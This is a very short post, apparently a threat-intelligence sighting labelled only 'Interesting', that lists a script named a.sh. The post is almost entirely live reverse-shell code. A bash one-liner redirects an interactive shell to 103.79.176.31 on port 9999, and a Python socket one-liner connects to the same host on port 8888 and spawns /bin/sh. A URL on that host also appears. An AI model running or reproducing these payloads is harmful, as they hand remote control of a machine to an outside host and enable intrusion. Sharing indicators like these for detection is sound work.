Interesting

a.sh:
bash -i >& /dev/tcp/103.79.176.31/9999 0>&1

http://103.79.176.31
import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("103.79.176[.]31",8888)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(["/bin/sh","-i"]);